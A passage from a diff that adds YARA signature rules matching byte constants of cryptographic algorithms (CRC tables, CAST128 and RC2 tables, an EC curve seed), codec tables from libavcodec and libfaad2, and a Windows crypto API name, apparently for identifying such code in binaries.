8c050bf708ae93e39f18d3724e987fc513dd8e07d1dc03932f98bd94fe44b4e8971ed7a134ebac1d61a853391375170b080602b08c99fbbc5543fd4e72297de44ec4d74055eb6ebb46aa1145b81a98a800c05c30275ee135089aff32d946f0bc97761ddfa3a9d577a3698498279eba7e97427f09342bf5dd9f8424c5d1e8671da39dbd3ec2a91 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_interleaved_se_golomb_vlc_code__8_byt_256_
+{
+strings:
+	$a0 = { 08F8040409F7FCFC02020202020202020AF605050BF5FBFBFEFEFEFEFEFEFEFE01010101010101010101010101010101010101010101010101010101010101010CF406060DF3FAFA03030303030303030EF207070FF1F9F9FDFDFDFDFDFDFDFDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Adler_CRC32__0x01c26a37___32_big_1024_
+{
+strings:
+	$a0 = { 0000000001c26a370384d46e0246be590709a8dc06cbc2eb048d7cb2054f16850e1351b80fd13b8f0d9785d60c55efe1091af96408d893530a9e2d0a0b5c473d1c26a3701de4c9471fa2771e1e601d291b2f0bac1aed619b18abdfc21969b5f51235f2c813f798ff11b126a610734c91153c5a1414fe302316b88e7a177ae44d384d46e0398f2cd73bc9928e3a0bf8b93f44ee3c3e86840b3cc03a523d025065365e1758379c7d6f35dac3363418a9013157bf843095d5b332d36bea331101dd246be59025a98fa727ef31fe262d5bc923624d4c22a0277b20e699222124f3152a78b4282bbade1f29fc6046283e0a712d711cf42cb376c32ef5c89a2f37a2ad709a8dc07158e7f7731e59ae72dc33997793251c76514f2b7417f17275d59b457e89dc787f4bb64f7d0d08167ccf6221798074a478421e937a04a0ca7bc6cafd6cbc2eb06d7e44876f38fade6efa90e96bb5866c6a77ec5b6831520269f3383562af7f08636d153f612bab6660e9c15165a6d7d46464bde3662203ba67e0698d48d7cb204915a1174b531f4e4a9175794fde63fc4e1c09cb4c5ab7924d98dda546c49a984706f0af45404ef6448224c141cd3244400f58734249e62a438b8c1d54f16850553302675775bc3e56b7d60953f8c08c523aaabb507c14e251be7ed55ae239e85b2053df5966ed8658a487b15deb91345c29fb035e6f455a5fad2f6de1351b80e0f771b7e2b1cfeee373a5d9e63cb35ce7fed96be5b86732e47a0d05ef264a38eee4200feca29e56ed60f461e82fe2e4e9ed88d3ebab368aea695cbdfd13b8f0fcd1d2c7fe976c9eff5506a9fa1a102cfbd87a1bf99ec442f85cae75f300e948f2c2837ff0843d26f1465711f4094194f5cb2ba3f78d95faf64fffcdd9785d60d8ba3757dafc890edb3ee339de71f5bcdfb39f8bddf521d2dc374be5d76b0cd8d6a966efd4efd8b6d52db281d062a404d1a0ce33d3e6706ad2241a5dc55efe10c49c9427c6da2a7ec7184049c25756ccc3953cfbc1d382a2c011e895cb4dafa8ca8fc59fc8c97bc6c90b11f1cc440774cd866d43cfc0d31ace02b92d91af9640906dfc77922b422e93e9281996a63e9c976454ab9522eaf294e080c59fbcc7f89e7eadcf9c3813969dfa79a198b56f24997705139b31bb4a9af3d17d8d8935308c4b5f078e0de15e8fcf8b698a809dec8b42f7db8904498288c623b5839a648882580ebf801eb0e681dcdad18493cc548551a6638717183a86d5720da9e2d0a0a820ba97aa6604ceaba46ef9aeeb787caf29124bad6fac12acadc625a7f18118a633eb2fa4755576a5b73f41a0f829c4a13a43f3a37cfdaaa2be979db5c473d0b40619e7b640a7beb782cd89b2cddb0cb30fb13bb1490f62b08b6555bbd72268ba15485fb853f606b9919c31bcde8ab4bd1ce083bf5a5edabe9834ed }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_8_CCITT_poly_0xe1__8_byt_refl_True_
+{
+strings:
+	$a0 = { 00326456c8faac9e9fadfbc95765330131035567f9cb9dafae9ccaf86654023062500634aa98cefcfdcf99ab35075163536137059ba9ffcdccfea89a04366052c4f6a0920c3e685a5b693f0d93a1f7c5f5c791a33d0f596b6a580e3ca290c6f4a694c2f06e5c0a38390b5d6ff1c395a797a5f3c15f6d3b09083a6c5ec0f2a49687b5e3d14f7d2b19182a7c4ed0e2b486b684d2e07e4c1a28291b4d7fe1d385b7e5d781b32d1f497b7a481e2cb280d6e4d4e6b0821c2e784a4b792f1d83b1e7d5437127158bb9efdddceeb88a1426704272401624ba88deeceddf89bb2517417321134577e9db8dbfbe8cdae87644122010227446d8eabc8e8fbdebd947752311 }
+
+condition:
+	$a0
+}
+
+	
+rule CAST128___CAST256_sbox4__32_big_1024_
+{
+strings:
+	$a0 = { 9db304201fb6e9dea7be7befd273a2984a4f7bdb64ad8c5785510443fa020ed17e287affe60fb663095f35a179ebf120fd059d436497b7b1f3641f63241e4adf28147f5f4fa2b8cdc94300400cc32220fdd30b30c0a5374f1d2d00d924147b15ee4d111a0fca516771ff904c2d195ffe1a05645f0c13fefe081b08ca0517012180530100e83e5efeac9af4f87fe72701d2b8ee5f06df4261bb9e9b8a7293ea25ce84ffdff57188013dd64b04a26f263b7ed48400547eebe6446d4ca06cf3d6f52649abdfaea0c7f536338cc1503f7e93d377206111b638e172500e03f80eb2bbabe0502eec8d77de57971e81e14f6746c93354006920318f081dbb99ffc304a54d3518057f3d5ce3a6c866c65d5bcca9daec6fea9f926f919f46222f3991467da5bf6d8e1143c44f43958302d0214eeb022083b83fb6180c18f8931e281658e626486e3e8bd78a707477e4c1b506e07cf32d0a2579098b02e4eabb8128123b2369dead381574ca16df871b62211c40b7a51a9ef90014377b041e8ac809114003bd59e4d2e3d156d54fe876d52f91a340557be8de00eae4a70ce5c2ec4db4bba6e756bdffdd3369acec17b0350657232799afc8b056c8c3916b65811c5e1461196e85cb75be07c002c2325577893ff4ec5bbfc92dd0ec3b25b7801ab78d6d3b2420c763efc366a5fc9c3828800ace3205aac9548aeca1d7c7041afa321d16625a6701902c9b757a5431d477f79126b03136cc6fdbc70b8b46d9e66a4856e55a79026a4ceb52437eff2f8f76b40df980a58674cde3edda04eb17a9be042c18f4dfb7747f9dab2af7b4efc34d202e096b7c1741a254e5b6a035213d42f62c1c7c2661c2f50f6552daf9d2c231f825130f69d8167fa20418f2c8001a96a60d1526ab63315c215e0a72ec49bafefd187908d98d0dbd86311170a73e9b640ccc3e10d7d5cad3b60caec388f73001e16c728aff71eae2a11f9af36ecfcbd12fc1de8417ac07be6bcb44a1d88b9b0f56013988c3b1c52fcab4be31cdd878280612a3a4e26f7de53258fd7eb6d01ee90024adffc2f4990fc59711aac5001d7b9582e5e7d2109873f600613096c32d9521ada121ff299084157fbb977faf9eb3db29c9ed2a5ce2a465a730f32cd0aa3fe88a5cc091d49e2ce70ce454a9d60acd86015f191977079103dea03af678a8565edee356df21f05cbe8b75e387b3c50651b8a5c3efd8eeb6d2e523be77c21545292f69efdfafe67afbf470c4b2f3e0eb5bd6cc987639e4460c1fda85381987832fca007367a99144f8296b299e492fc2959266beabb5676e699bd3dddadf7e052fdb25701c1b5e51eef65324e66afce36c0316cc048644213eb7dc59d07965291fccd6fd4341823979932bcdf6b657c34d4edfd2827ae5290c3cb9536b851e20fe9833557e13ecf0b0d3ffb3723f85c5c10aef7ed2 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_VC_1_and_WMV3_dcpred__16_lil_64_
+{
+strings:
+	$a0 = { FFFF0004000255010001CD00AB0092008000720066005D0055004F004900440040003C0039003600330031002F002D002B002900270026002500230022002100 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_Q_Fract_allpass_Qmf__flt64___64_lil_3072_
+{
+strings:
+	$a0 = { 40ebfb1f49f9e83f8bc7fedffc01e43fe386f49fe27dd83f6d7affbf6b90ed3f869efebfeb5ceb3f644c03805897e03f070206c0f627dcbf676d0640a4bcec3f6d7affbf6b90edbfe386f49fe27dd8bfd9fac99fc679b0bfdbdc066004efef3f06db0180a71defbf654e15208ae1cdbf6d7affbf6b90ed3fe386f49fe27dd8bf62f5f93f7644edbfd93af5dfc3e0d93f345480809915903faf040240fdfeefbfe386f49fe27dd8bf6d7affbf6b90ed3f63bd01c05201e9bf5155fd5ff0f7e3bf0297fe1fcb55ef3fee560d40eef4c9bfe386f49fe27dd8bf6d7affbf6b90edbfb277fc5fb993c83f5f29f9ff9267efbf4156f9df3f56da3f62060340372aed3f6d7affbf6b90ed3fe386f49fe27dd83fadcb0660deafee3f08c609a01425d2bf6f3906800497e9bfcbfd0240a436e33f6d7affbf6b90edbfe386f49fe27dd83ff13eff5fab3be63ffba1fdbfd603e73f4b7001a03e55e8bf8fef058047c8e4bfe386f49fe27dd83f6d7affbf6b90edbf44b1fbdf2841d4bf687a00c0ee5aee3f012300a090f2dd3f6ac404a0ce47ecbfe386f49fe27dd83f6d7affbf6b90ed3f422b06c01e99efbf168b19c0df38c43f727e0260a7ddee3fa81802a04ce3d03f6d7affbf6b90edbfe386f49fe27dd8bf41cfff5fb717e3bfb2bff97f1faee9bf53022d205e1ea8bf9b3a01e0e7f6ef3f6d7affbf6b90ed3fe386f49fe27dd8bfd6ccf7df8ce2db3fc638fcff8acdecbf121dfc1f0486efbfe7e401c0c301c63fe386f49fe27dd8bf6d7affbf6b90ed3f4d2700205afcef3f6110a77f888e9ebf46a2f99fe17dd8bf9433feff6b90edbfe386f49fe27dd8bf6d7affbf6b90edbfa49e03a09145df3f0e1303e07cebeb3f5ba003a0482eea3f8c3a04e07066e2bf6d7affbf6b90ed3fe386f49fe27dd83ff495fdbfd586e1bf11190360fdc5ea3f82e503600eabe73fee9105005289e53f6d7affbf6b90edbfe386f49fe27dd83ff5bdfa7febd7efbff4ead4bfe14ab9bfd5e3f67f99b5dfbfdceefdffd3cbeb3fe386f49fe27dd83f6d7affbf6b90edbf4a88f9bf11d7d7bf424b06206fb2edbfd9faffffda95eebf7d4df7ff8fd1d2bfe386f49fe27dd83f6d7affbf6b90ed3f0ab303c00ed2e43f5a44fd3fe14ce8bf082226c0eb15b43f1c2e0320bfe6efbf6d7affbf6b90edbfe386f49fe27dd8bf4bc6fc9f6d2cef3f7d6204a00fe7cc3ff702024046aeef3fe97603c00909c2bf6d7affbf6b90ed3fe386f49fe27dd8bf1a82f75f7403d03fe93c04806cfbee3f4e9f0240539fd63fb96700a028efed3fe386f49fe27dd8bf6d7affbf6b90ed3fd2abfffff8c4e7bfce12fa1fb46ce53fa9e102a0efbeeabf643bfa7f9791e13fe386f49fe27dd8bf6d7affbf6b90edbfd2af03a0b7fcedbfe668fbff0b57d6bf9f3b0440e3fae6bff341ff9feb44e6bf6d7affbf6b90ed3fe386f49fe27dd83f25bcc91fafafbfbf21ba03a001c1efbf7f6504e04fb8e03ff8a30580d348ebbf6d7affbf6b90edbfe386f49fe27dd83ff892fc7f1253ea3fb3e50440a831e2bfdff4fd7f5446ee3f40980b4012bbd43fe386f49fe27dd83f6d7affbf6b90edbf735905e0d14dec3f3f8806a0cfdbdd3f338508609517bcbfa98c002087ceef3fe386f49fe27dd83f6d7affbf6b90ed3f383570c1824d73bfd60afbbfe8ffef3fd045ff5f87ceefbf3a53fa9f8217bc3f6d7affbf6b90edbfe386f49fe27dd8bf723f06008571ecbf08c4f7ffe252dd3fa01607c00dbbd4bf5520fa3f5546eebf6d7affbf6b90ed3fe386f49fe27dd8bfd37d01c0df26eabfaf750080f770e2bfbc41ffbfd448eb3f428101c04db8e0bfe386f49fe27dd8bf6d7affbf6b90ed3f1efb07c0200ac13f397cfbbf16b7efbf04d0f9ffe944e63f1deffbdfe4fae63fe386f49fe27dd8bf6d7affbf6b90edbf306effdf5317ee3f224af3ff15c6d5bf0dc3fd7f9991e1bf7585fb5feebeea3f6d7affbf6b90ed3fe386f49fe27dd83f6f2c01200291e73f367502c0cfa5e53fb0df04c027efedbf5bc407a0579fd6bf6d7affbf6b90edbfe386f49fe27dd83f2f650900c898d0bf39cdf99fc0e7ee3fe68f0a201309c23f3ded03e045aeefbfe386f49fe27dd83f6d7affbf6b90edbff4f30000823defbf7ae4f61fdeb9cb3fb08a0240bfe6ef3f0ff01700d915b4bfe386f49fe27dd83f6d7affbf6b90ed3f34b202403097e4bf28f20400d77ee8bfdccbf27f8bd1d23f4e26fcbfdb95ee3f6d7affbf6b90edbfe386f49fe27dd8bf113ef5ff1a66d83f756506e05595edbf7cee0520d5cbebbf63510b8095b5df3f6d7affbf6b90ed3fe386f49fe27dd8bf52e305a02fdfef3f35551820efe3b6bf6cc300405089e5bf0099fbff0fabe7bfe386f49fe27dd8bf6d7affbf6b90ed3f28cafc5f0946e13f92580660f9efea3fc503fadf7266e23f2844fc5f472eeabfe386f49fe27dd8bf6d7affbf6b90edbfe02efdbff1cbdfbfcf1d02a071c5eb3f8bab02206b90ed3fc06affdfe57dd83f6d7affbf6b90ed3fe386f49fe27dd83f4846fd1faff9efbf99d2c31fe819a4bf50a10900cd01c6bfc4aafe9f0386ef3f6d7affbf6b90edbfe386f49fe27dd83fa35df59f3d57dbbf32fcfc3fdbeeecbf2f970000e8f6efbf8d3b4880381ea83fe386f49fe27dd83f6d7affbf6b90edbf6d84f9ff7555e33f5c9b0680c37fe9bf0797fd1f48e3d0bf544dffffa7ddeebfe386f49fe27dd83f6d7affbf6b90ed3f83e4ffff8f8cef3faf14e73f9b69c53f9a05ffbfcf47ec3f875afa5f8cf2ddbf6d7affbf6b90edbfe386f49fe27dd8bfe334fd3f72aed33ffe1206e00573ee3f0d2101c045c8e43fca23f93f4055e83f6d7affbf6b90ed3fe386f49fe27dd8bfb76efa9ff272e6bffe52fbbfeecde63f716af91fa636e3bf142400000397e93fe386f49fe27dd8bf6d7affbf6b90ed3f870d0020a199eebf7291fd5ff5b8d2bfe9bff95f362aedbfbb1eff1f4456dabfe386f49fe27dd8bf6d7affbf6b90edbf1e38e79f5964c7bff08203c00a76efbf57131580f7f4c93fb42401a0ca55efbf6d7affbf6b90ed3fe386f49fe27dd83fcda2ff3f3831e93faf3ffaff60bbe3bf43610160fdfeef3fd77c12204e1590bf6d7affbf6b90edbfe386f49fe27dd83fd48effdfe824ed3f2a2f0480b46dda3f90ee0c0081e1cd3f544dffffa71def3fe386f49fe27dd83f6d7affbf6b90edbf99d61dc05f22ac3f6dea04809ff3ef3f97ae0060a5bcecbf8d390080f227dc3fe386f49fe27dd83f6d7affbf6b90ed3f676d0640a484ebbf5940f99f2255e03f08f9f91ffb01e4bf9b0002a04af9e8bf6d7affbf6b90edbfe386f49fe27dd8bf6635f9ff9334ebbfa048febf2dd9e0bfa0f202c0fe01e43fe8f002c047f9e8bf6d7affbf6b90ed3fe386f49fe27dd8bf29752560fde1b23fdca2fc3fafe9efbf5acafd3fa3bcec3f81ca0b00fb27dc3fe386f49fe27dd8bf6d7affbf6b90ed3f115706405963ed3f3e5801a03c53d9bf7ab4e63f93e1cdbfb8680400a71def3fe386f49fe27dd8bf6d7affbf6b90edbfe81904e0dbd0e83f011e03800b34e43faf040240fdfeefbf945d36dfe41590bf6d7affbf6b90ed3fe386f49fe27dd83fb3feeaff89c2c9bf1ae9fb5f6458ef3f18f70420e5f4c9bf5009fc9fcb55efbf6d7affbf6b90edbfe386f49fe27dd83f259205e068c5eebfffa50b40ca90d13fffeafd3f382aed3f3431f47f3b56dabfe386f49fe27dd83f6d7affbf6b90edbf821105c0e203e6bf87b8fd9f3839e7bfb5d2fe5fa236e33fc633ffdf0597e93fe386f49fe27dd83f6d7affbf6b90ed3fc66ef79f69d3d43fd18c03002742eebf355cfc5f49c8e4bff05afb1f3d55e83f6d7affbf6b90edbfe386f49fe27dd8bf3dcd0380f5a4ef3f72a51180ae07c3bf5e21fc9fcd47ecbfe78e06c094f2ddbf6d7affbf6b90ed3fe386f49fe27dd8bf375ffc9f89d9e23f5cda02e0e5dbe93fdcf6054051e3d03f90af05c0a6ddeebfe386f49fe27dd8bf6d7affbf6b90ed3ff0d8febf396ddcbfbec1fe3f93abec3f08de01c0e7f6ef3f18c911c0831ea83fe386f49fe27dd8bf6d7affbf6b90edbf988406c04afeefbf7a3488e08ee8943feacbfa5fba01c63fcd32fa7f0486ef3f6d7affbf6b90ed3fe386f49fe27dd83fb99405607bbedebf2f8afb9fe510ecbf9dbbf9df6c90edbf397df43fdd7dd83f6d7affbf6b90edbfe386f49fe27dd83f4b63fc3f3cc7e13f50c1fe7f659beabf760f00006f66e2bfb39afcff492eeabfe386f49fe27dd83f6d7affbf6b90edbfedb7fbffedcfef3fc769250041b1bb3f }
+
+condition:
+	$a0
+}
+
+	
+rule cellb_yytable__16_big_512_
+{
+strings:
+	$a0 = { 1014101810201030104010501070109010b010d010f01418181c182018281c202024202820302040205020602428282c283028382c30303430383040305030603070309030b030d030f03438383c384038483c404044404840504060407040804448484c485048584c5050545058506050705080509050b050d050f05458585c586058685c606064606860706080609060a06468686c687068786c70707470787080709070a070b070d070f0788078888088809080a080b080c088908898909890a090b090c090d090f098a098a8a0a8a0b0a0c0a0d0a0e0a8b0a8b8b0b8b0c0b0d0b0e0b0f0b8c0b8c8c0c8c0d0c0e0c0f0c8d0c8d8d0d8d0e0d0f0d8e8e0f014101810201030104010501070109010b010d010f01018141c1820182818201c24202820302040205020602028242c2830283828302c3430383040305030603070309030b030d030f03038343c3840384838403c44404840504060407040804048444c4850485848504c545058506050705080509050b050d050f05058545c5860586858605c64606860706080609060a06068646c6870687868706c7470787080709070a070b070d070f0708078887888809080a080b080c080908898889890a090b090c090d090f090a098a898a8a0b0a0c0a0d0a0e0a0b0a8b8a8b8b0c0b0d0b0e0b0f0b0c0b8c8b8c8c0d0c0e0c0f0c0d0c8d8c8d8d0e0d0f0d0e8d8f0e0 }
+
+condition:
+	$a0
+}
+
+	
+rule PSCHF___Pukall_Stream_Cipher_Hash_Function__8_byt_STR_16_
+{
+strings:
+	$a0 = { 52656d7361616c707321313233343536 }
+
+condition:
+	$a0
+}
+
+	
+rule CAST128_sbox8__32_lil_1024_
+{
+strings:
+	$a0 = { 0d3016e2fcffddbbbddaeba795806435b7f889771b12c1e60016240eb5e82c05b0cfa911112f95e50a99e7ec74d186931c93422a1181e3763aef2db1fcdddd37b1de9ade2cc30c0a297019be4009a0840f3a24bbcf37d1b4f0794eb4fded9e045da1150b68310d485adebb8b42ed9d6631e8ecc7e7958f3f1b19df720d33807551420794facd7d5c636dbeab642140aa0ad401b3cad1e702ae1d5753a282317aecdda8125d33aafde8436f17d446fb7122901238d49a94cead6947b862d85b9655d0f3826797fb664e0bb815a0475b1d6fe0fd4cb8c48ec26e72e857fc787a64445d869993d58b60030e206cf65fdc39a3000b5df2af63ae32d68b7e0c8c10704950d3bb04df98292af40c9891f46d9b53dd7e9e48859106077ecb582eef743bb1ff2f52cc0847d2cd277e1c5b21eba4e2d2f13c387ab41918764f4239608535e7de179de635eb277bf6afc9b8f5ba36cd67c409b11089c17bbf1de1f81acd0608c6707154335e2d5a49ded406d0c6642cc6c0bcb30dd03d348f8f70421bd5770f624f26bfd2b8249eb7c1156425a5464ee5d7f86081373ea5cd9578a5159c85889745e65fc77bc30cba07dbaba376061e9b227f7b2e8431d79f252472f4bef8b8fc5f83f2c1f46d95b1f596fcf00afd4c13feb03d6d50e2ea129b4f25f215f26f7323a228c4b49f7949d025f813c734878161c4986e7aeafc6ed17c6c873614074154f114eedebe27afe95641a44aa099c8f73ce6baec926d0167ddeb821615dfee42a8b460bafd757b90f10f03e3209ec2d8243b6739e1b83fa6ef543087713bcff2b64264329fcca415cb04451ab08d7de4f1e51b4a84dcdfe7ba70dacb420aae7dcd7a5be857f65a3fd58c4dcf2028d4a4cea430d179fbeb8634dccdd333533b8577b5fcef37788706c5e6b380e5f4b8684e7eb3c8c5a29e800d7ceb8f39944f2a130e95b7431c7dee2fbd133622a2ca06dd2b93df37898224c4c3ebf3acb7f61557dd7834ef6f6167f2e4cb48c15e815290ab0f415e65248ab4a47fda2ee4407be884a08ee9e1e98958fc90d3ef5bd307dd945648dbb2e5d73801017257bcde0e731331645b4f7e9194ba2f3c5082126f644ad22375959677e08f7ac1f921215b7a96b887d14d3a2629df0c51ba9f7cf481ed6311ad65597bea6e72001a92304011776dda0061dd0c4a03461fadb0df5b6064c3ed9ea8e6eb228ad2e7cea036e7a0b9a6645509328510378febc7ca05e72d0f5751892b8209df6c1a69bdf2e412aa0f1c45877aa2f6e01948da3a4f76f14c2b1c770d56b1cd6784830d350ffa3859f39e3942077b99363d09840e613ea94a7bd860830c8ba91f2c384911a52576e9b7d114064b24250e4783760c828d9e58d159200d1ebb66a4820adaf83091f104c04e6eba645126990d23e71e80adb2500168eeea83a2b28d9ef58bea }
+
+condition:
+	$a0
+}
+
+	
+rule Windows_CryptImportKey__8_byt_STR_15_
+{
+strings:
+	$a0 = { 4372797074496d706f72744b657900 }
+
+condition:
+	$a0
+}
+
+	
+rule TNS_filter_long_tns_max_bands_1024__avcodec___8_byt_13_
+{
+strings:
+	$a0 = { 1f1f22282a332e2e2a2a2a2727 }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_X9_62_PRIME_239V1_SEED__8_byt_20_
+{
+strings:
+	$a0 = { e43bb460f0b80cc0c0b075798e948060f8321b7d }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_24_Radix_64_poly_0x864CFB__32_lil_refl_True_
+{
+strings:
+	$a0 = { 00000000c264be0184c97c0346adc2020893f906caf747078c5a85054e3e3b041026f30dd2424d0c94ef8f0e568b310f18b50a0bdad1b40a9c7c76085e18c809204ce61be228581aa4859a1866e1241928df1f1deabba11cac16631e6e72dd1f306a1516f20eab17b4a3691576c7d71438f9ec10fa9d5211bc3090137e542e124098cc3782fc7236c451b03406350e35480b35318a6f8b30ccc249320ea6f73350be3f3a92da813bd47743391613fd38582dc63c9a49783ddce4ba3f1e80043e60d42a2ca2b0942de41d562f2679e82e6847d32aaa236d2bec8eaf292eea112870f2d921b2966720f43ba522365f1b2378612027ba059e26fca85c243ecce2258030996f4254276e04f9e56cc69d5b6d88a360694ac7de680c6a1c6ace0ea26b90166a625272d46314df1661d6bba860988593645ae12d651c4cef67de285166a07c7f746218c17524b50377e6d1bd76a8ef86726a8b38732c26fa71ee424470b05a8c79723e32783493f07af6f74e7bb8c9757f7aadcb7e3c00097cfe64b77dc0a8555802cceb594461295b8605975ac83bac5e0a5f125f4cf2d05d8e966e5cd08ea65512ea18545447da5696236457d81d5f531a79e1525cd423509eb09d51e0e4b34322800d42642dcf40a6497141e8774a452a13f4446cbe3646aeda8847f0c2404e32a6fe4f740b3c4db66f824cf851b9483a3507497c98c54bbefc7b4a006132dfc2058cde84a84edc46ccf0dd08f2cbd9ca9675d88c3bb7da4e5f09db1047c1d2d2237fd3948ebdd156ea03d018d438d4dab086d59c1d44d75e79fad6202dd4c4e2496ac5a4e4a8c7668016c628be2dc2eada93c3ac7751c16e13efc0300b27c9f26f99c8b4c25bca76a6e5cb3898decffafc60cebc51a2cc7e351ccd40f9fee8829d40e9c43082eb06543cea486a07ee8a0eb9efcca37bed0ec7c5ec50df0de592bbb3e4d41671e61672cfe7584cf4e39a284ae2dc8588e01ee136e160b518f3a2d1a6f2e47c64f02618daf16826e1f5aa425ff4ecef9df62e8b23f77093ebfeb2f755fff45a97fd363e29fc780012f8ba64acf9fcc96efb3eadd0fa8051abb0423515b10498d7b3c6fc69b288c252b64aa6ecb70c0b2eb5ce6f90b4907758bd5213e6bc14be24bed6da9abf98e4a1bb5a801fba1c2dddb8de4963b9a01d4dab6279f3aa24d431a8e6b08fa9a88eb4ad6aea0aac2c47c8aeee2376afb03bbea6725f00a734f2c2a5f6967ca4b8a847a07accf9a13c613ba3fe0585a2c0c9678702add98644001b848664a585c85a9e810a3e20804c93e2828ef75c83d0ef948a128b2a8b5426e88996425688d87c6d8c1a18d38d5cb5118f9ed1af8ee085819c22e13f9d644cfd9fa628439ee816789a2a72c69b6cdf0499aebbba98f0a3729132c7cc90746a0e92b60eb093f8308b973a5435967cf9f794be9d4995 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truespeech_ts_230__16_big_16_
+{
+strings:
+	$a0 = { 7f3b7e787db67cf57c357b767ab879fc }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_msmpeg4_table1_mv_code__16_lil_2200_
+{
+strings:
+	$a0 = { 0000070009000f000a0011001a001c001100310025002d002f006f00750041004c004e005c00600062006600680069006b00a600c100cb00cc00ce00da00e800ee00870090009e009f00ba00ca00d800db00df00040109010c01430145014a0156015c01b301d301da01030109010b0122012701340161016401760184018d018e018f019001930196019d019e019f01a901b201b401ba01bb01bc0101020202050207020d021002110215021b021f028102850290029c029d02a202a702a802aa02b002b102b402bc02bf0220032603270329032a0336036003620363037203b203bc03bd03030205021a0249024a024c02c702ca02ce02ef020d0322032503380373037a03090415041604180428042d042f04340408050905100511051c051e05240541054305460547054d0557055f056a056c056d056f05760577057a057b057c057d050006010603061406160617061c061f064206480649064a064b065706680669066b066e067f06c206c806cb06de06df06e206e306ef0648074b076e076f077c0709042304280429042a042b043204330496049a04d504db04810582058b058c058d05980599059a059e05dd0519063206330648067206a106a206a306af06e206e306e40600080108020803081a081b0829082f0832083e083f085208530858086b087708780879087a087b08000a010a0d0a0e0a0f0a240a370a3a0a3b0a3e0a460a470a4a0a4b0a5f0a790a7a0a7b0a800a810a840a850a990aa50aa60ab80aba0abb0abc0abd0ac80ace0acf0ad70adc0aeb0a040c250c260c270c2a0c2b0c3a0c3b0c3c0c3d0ca00cad0cd40cd50cfc0cfd0c860d920d930d940d950db00db80db90dba0dbb0dc00dc20dc30dda0ddb0ddc0ddd0d920e930e940e950ec70ecc0ece0ecf0ed80ed90eda0edb0e080809080a0810081108440845086108620863086c08220923092e092f0936093709b109b209b309b409b509b809b909ba09bb09bc09bd09be09bf09000b150b2c0b2d0b2e0b2f0b360bb90b280c2a0c2b0c2c0c2d0c2e0c2f0c300c310c380c600c610c620c630c8d0c8e0c8f0c920cbe0cbf0ce60ce70c400d410d570d580d590d5a0d5b0d5c0d5d0d980d990d9a0d9b0d9c0d9d0dad0dae0daf0dc00dc10dc20dc30dca0dcb0dec0ded0dee0def0d1810221023103010311032103310501051105c107410751076107710781079107a107b10b210b310b810b910ba10bb10d410ea10eb10ec10ed100414051406140714101411141214131414141514161417141814191466146714681469146a146b146c146d147e147f14881489148a148b14b614b714b814b914ba14bb14bc14bd14f014f114f814f914fa14fb14fc14fd14fe14ff142a152b152c152d152e152f1530153115481549154e154f15581559155a155b1572159a159b15ac15ba15bb15d015d115d215d315d415d5151d181e181f1840184118421843184418451846184718481849186118621863186418651866186718681869186a186b186c186d186e181b191c191d191e191f1942194319441945194619471958195919ed19ee19ef19f019f119f219f319f419f519f619f7190e1b0f1b621b631b641b651b661b671b681b691b6a1b6b1b6c1b6d1b6e1b6f1b821ba81ba91baa1bab1bac1bad1bae1baf1bb01bb11bb21bb31b801d811d821d831d841d851d861d871d881d891d8a1d8b1d8c1d8d1d0710081009100a100b100c100d100e100f10161080108110821083108410851086108710c0103a123b123c123d123e123f124012411242124312501352135313581359135a135b135c135d135e135f1360136113021603160c160d160e160f1620162116221623162416251626162716281629166e166f167c167d167e167f167017711752185318721873187418751876187718781879187a187b187c187d187e187f18181919192619271970197119721973197419751976197719781979197a197b19a01aa11aa21aa31aa41aa51aa61aa71aa81aa91aaa1aab1aac1aad1a3c1b3d1b3e1b3f1b501b511b521b531b541b551b561b571b581b591b322033203420352036203720382039203a203b203c203d203e203f204020412042204320ba20bb20cc20cd20ce20cf20e020e120e220e320e420e520e620e720aa21ab21c021c121c221c321c421c521c621c721c821c921ca21cb21cc21cd21ce21cf21d021d121d221d3219428952896289728982899289a289b289c289d289e289f28c028c128c228c328c428c528c628c728c828c928ca28cb2830293129322933293429352936293729382939293a293b293c293d293e293f2960296129622963296429652966296729682969296a296b29402a412a422a432a442a452a462a472a482a492a4a2a4b2a4c2a4d2a4e2a4f2a502a512a522a532ae62ae72a242b252b262b272b282b292b2a2b2b2b2c2b2d2b2e2b2f2b302b312b322b332b5a2b5b2b143015301630173020302130223023302430253026302730283029302a302b302c302d302e302f303030313032303330343035303630373038303930c030c130de30df30183219321a321b321c321d321e321f3220322132223223322432253226322732283229322a322b322c322d322e322f32303231323232333234323532783379337a337b337c337d337e337f33c033c133c233c333c433c533c633c733c833c933ca33cb33cc33cd33ce33cf33d033d133d233d333d433d533d633d733d833d9330637073730373137323733373437353736373737383739373a373b373c373d373e373f3740374137423743374437453746374737483749374a374b374c374d374e374f37343b353b363b373be83be93bea3beb3bec3bed3bee3bef3bf03bf13bf23bf33bf43bf53bf63bf73bf83bf93bfa3bfb3bfc3bfd3bfe3bff3b00200120022003200420052006200720082009200a200b200c200d202e202f2082218321b421b521b621b721b821b921ba21bb21bc21bd21be21bf2160246124622463246424652466246724682469246a246b246c246d246e246f247024712472247324a226a3260b00 }
+
+condition:
+	$a0
+}
+
+	
+rule RRC2___Ron_Rivest_Cipher_Nr__2_Beale__32_lil_1024_
+{
+strings:
+	$a0 = { 47000000c200000026000000a5060000590000004c0000000b000000530000005d060000300000005e0000003f00000084000000100000006f0000005f0000005400000055010000cf0300000e00000028000000400000001b000000510000008b000000d50000003f0000005a00000060040000080000000f000000030000007e000000e2070000280000004a000000f6020000e50100005c020000e6000000b4010000980200004602000096000000fb0000001c01000034010000e70000007c000000d3000000e6010000e100000091010000720100000b00000065000000310100008b000000bd000000110000002100000058000000d0000000c100000091000000010000005e00000049000000a001000096030000070100001c000000f40100001a020000640100007500000088000000db0000001b000000b0000000820000000a000000cc01000019000000e501000012000000b40100004100000054000000c80000001b01000076000000400100008a00000024000000a0010000180100000f00000047000000e0000000c10300002c0000001000000091010